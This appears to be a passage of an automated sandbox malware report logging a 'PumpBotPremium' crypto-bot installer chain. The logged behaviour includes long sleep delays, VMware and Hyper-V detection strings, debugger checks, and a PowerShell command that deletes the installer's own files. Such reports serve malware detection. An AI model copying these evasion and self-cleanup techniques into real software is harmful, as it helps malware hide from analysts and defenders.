              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7352Thread sleep time: -898625s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7352Thread sleep time: -898516s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7352Thread sleep time: -898391s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7352Thread sleep time: -898266s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7352Thread sleep time: -898156s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7352Thread sleep time: -898047s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7352Thread sleep time: -897937s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7352Thread sleep time: -897828s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7352Thread sleep time: -897712s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7352Thread sleep time: -897609s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7412Thread sleep count: 4677 > 30
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7400Thread sleep time: -13835058055282155s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7400Thread sleep time: -900000s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7400Thread sleep time: -899875s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7288Thread sleep count: 2538 > 30
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7400Thread sleep time: -899765s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7400Thread sleep time: -899656s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7400Thread sleep time: -899547s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7400Thread sleep time: -899437s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7400Thread sleep time: -899328s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7400Thread sleep time: -899218s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7400Thread sleep time: -899109s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7400Thread sleep time: -899000s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7400Thread sleep time: -898890s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7400Thread sleep time: -898781s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7400Thread sleep time: -898672s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7400Thread sleep time: -898562s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7400Thread sleep time: -898453s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7400Thread sleep time: -898343s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7400Thread sleep time: -898234s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7400Thread sleep time: -898125s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7400Thread sleep time: -898015s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7400Thread sleep time: -897906s >= -30000s
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeLast function: Thread delayed
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeLast function: Thread delayed
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeLast function: Thread delayed
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeLast function: Thread delayed
              Source: C:\Windows\System32\msiexec.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
              Source: C:\Windows\System32\msiexec.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
              Source: C:\Windows\System32\msiexec.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
              Source: C:\Windows\System32\msiexec.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
              Source: C:\Windows\System32\msiexec.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
              Source: C:\Windows\System32\msiexec.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
              Source: C:\Windows\System32\msiexec.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_002347C0 FindFirstFileW,GetLastError,FindClose,3_2_002347C0
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_002416D0 FindFirstFileW,FindClose,FindClose,3_2_002416D0
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_00229E30 FindFirstFileW,CloseHandle,CreateFileW,SetFilePointer,ReadFile,CloseHandle,SetCurrentDirectoryW,OpenMutexW,GetLastError,WaitForSingleObject,CloseHandle,CloseHandle,FindClose,3_2_00229E30
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_0022BF60 DeleteFileW,FindFirstFileW,FindNextFileW,FindClose,PathIsDirectoryW,3_2_0022BF60
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_002940CD FindFirstFileExW,FindNextFileW,FindClose,FindClose,3_2_002940CD
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_002545C0 FindFirstFileW,FindNextFileW,FindNextFileW,FindClose,3_2_002545C0
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_00254A00 FindFirstFileW,FindClose,3_2_00254A00
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_0024CDF0 FindFirstFileW,FindClose,3_2_0024CDF0
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_00211880 FindFirstFileW,FindNextFileW,FindClose,3_2_00211880
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_00231920 FindClose,PathIsUNCW,FindFirstFileW,GetFullPathNameW,GetFullPathNameW,FindClose,SetLastError,_wcsrchr,_wcsrchr,3_2_00231920
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_00235AD0 FindFirstFileW,FindClose,3_2_00235AD0
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_00255E50 FindFirstFileW,FindNextFileW,FindFirstFileW,FindNextFileW,FindNextFileW,FindClose,3_2_00255E50
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_002533F0 _wcsrchr,_wcsrchr,GetLogicalDriveStringsW,GetDriveTypeW,Wow64DisableWow64FsRedirection,Wow64RevertWow64FsRedirection,3_2_002533F0
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_00261680 GetCurrentProcess,GetProcessAffinityMask,GetSystemInfo,GetModuleHandleA,GetProcAddress,GlobalMemoryStatus,3_2_00261680
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 900000Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899884Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899772Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899652Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899522Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899373Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899262Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899151Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 900000
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899888
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899747
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899636
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899526
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899377
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899250
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899140
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899031
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 898921
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 898812
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 898703
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 898593
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 898484
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 898374
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 898265
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 898156
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 898046
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 897937
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 897828
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 897708
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 897578
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 897468
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 897352
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 897234
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 900000
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899869
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899734
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899609
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899500
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899391
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899281
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899172
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899062
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 898953
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 898844
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 898734
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 898625
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 898516
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 898391
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 898266
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 898156
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 898047
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 897937
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 897828
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 897712
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 897609
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 900000
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899875
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899765
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899656
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899547
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899437
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899328
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899218
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899109
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899000
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 898890
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 898781
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 898672
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 898562
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 898453
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 898343
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 898234
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 898125
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 898015
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 897906
              Source: aipackagechainer.exe, 00000003.00000002.1915356853.0000000000D3B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\+?
              Source: powershell.exe, 0000000B.00000002.2057239785.0000000008422000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW4
              Source: powershell.exe, 0000000B.00000002.2057239785.0000000008422000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2052852092.0000000007449000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
              Source: BlockchainConnector.exe, 00000004.00000003.1829850821.0000022D78981000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: vmncVMware Screen Codec / VMware VideoInvalid packet
              Source: BlockchainConnector.exe, 00000004.00000003.1829850821.0000022D78981000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VMware Screen Codec / VMware Video
              Source: BlockchainConnector.exe, 00000007.00000002.1904081490.0000019A0BE63000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000003.1894339402.0000019A0BE61000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
              Source: C:\Windows\System32\msiexec.exeProcess information queried: ProcessInformationJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_0027D03D IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,3_2_0027D03D
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_00238550 CreateFileW,GetLastError,OutputDebugStringW,OutputDebugStringW,SetFilePointer,FlushFileBuffers,WriteFile,WriteFile,FlushFileBuffers,WriteFile,FlushFileBuffers,OutputDebugStringW,WriteFile,WriteFile,FlushFileBuffers,FlushFileBuffers,WriteFile,FlushFileBuffers,WriteFile,FlushFileBuffers,3_2_00238550
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_00237530 LoadLibraryW,GetProcAddress,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,LoadImageW,FreeLibrary,3_2_00237530
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_0027A0EE mov esi, dword ptr fs:[00000030h]3_2_0027A0EE
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_0028A795 mov ecx, dword ptr fs:[00000030h]3_2_0028A795
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_0028F94C mov eax, dword ptr fs:[00000030h]3_2_0028F94C
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_0028F990 mov eax, dword ptr fs:[00000030h]3_2_0028F990
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_0027A15A GetProcessHeap,HeapAlloc,GetProcessHeap,HeapFree,3_2_0027A15A
              Source: C:\Windows\System32\msiexec.exeProcess created: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exe "C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exe"Jump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_0027C207 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,3_2_0027C207
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_0021C700 __set_se_translator,SetUnhandledExceptionFilter,3_2_0021C700
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_0027D03D IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,3_2_0027D03D
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_0027D1D0 SetUnhandledExceptionFilter,3_2_0027D1D0
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_00281363 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,3_2_00281363
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_002591C0 GetWindowsDirectoryW,GetForegroundWindow,ShellExecuteExW,ShellExecuteExW,GetModuleHandleW,GetProcAddress,GetProcessId,AllowSetForegroundWindow,3_2_002591C0
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -NoLogo -ExecutionPolicy RemoteSigned -Command "C:\Windows\SystemTemp\AI_D021.ps1 -paths 'C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\file_deleter.ps1','C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exe','C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium','C:\Users\user\AppData\Roaming\Coinsw.app' -retry_count 10"Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfileJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfileJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfileJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfileJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -noprofile -noninteractive -nologo -executionpolicy remotesigned -command "c:\windows\systemtemp\ai_d021.ps1 -paths 'c:\users\user\appdata\roaming\coinsw.app\pumpbotpremium\prerequisites\file_deleter.ps1','c:\users\user\appdata\roaming\coinsw.app\pumpbotpremium\prerequisites\aipackagechainer.exe','c:\users\user\appdata\roaming\coinsw.app\pumpbotpremium','c:\users\user\appdata\roaming\coinsw.app' -retry_count 10"
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -noprofile -noninteractive -nologo -executionpolicy remotesigned -command "c:\windows\systemtemp\ai_d021.ps1 -paths 'c:\users\user\appdata\roaming\coinsw.app\pumpbotpremium\prerequisites\file_deleter.ps1','c:\users\user\appdata\roaming\coinsw.app\pumpbotpremium\prerequisites\aipackagechainer.exe','c:\users\user\appdata\roaming\coinsw.app\pumpbotpremium','c:\users\user\appdata\roaming\coinsw.app' -retry_count 10"Jump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_002323D0 GetCurrentProcess,OpenProcessToken,GetLastError,GetTokenInformation,GetTokenInformation,GetLastError,GetTokenInformation,AllocateAndInitializeSid,EqualSid,FreeSid,GetLastError,CloseHandle,3_2_002323D0
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_0027CCD0 cpuid 3_2_0027CCD0
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: GetACP,IsValidCodePage,GetLocaleInfoW,3_2_002965BB
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: GetLocaleInfoW,3_2_002967B6
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: EnumSystemLocalesW,3_2_0029685D
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: EnumSystemLocalesW,3_2_002968A8
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: EnumSystemLocalesW,3_2_00296943
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,3_2_002969CE
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: GetLocaleInfoW,GetLocaleInfoW,3_2_0025EB00
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: GetLocaleInfoW,3_2_00296C21
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetACP,3_2_00296D4A
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: GetLocaleInfoW,3_2_00296E50
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,3_2_00296F1F
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: EnumSystemLocalesW,3_2_0028D47B
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: GetLocaleInfoW,3_2_0028D9C2
              Source: C:\Windows\System32\msiexec.exeQueries volume information: C:\ VolumeInformationJump to behavior
              Source: C:\Windows\System32\msiexec.exeQueries volume information: C:\ VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector VolumeInformationJump to behavior
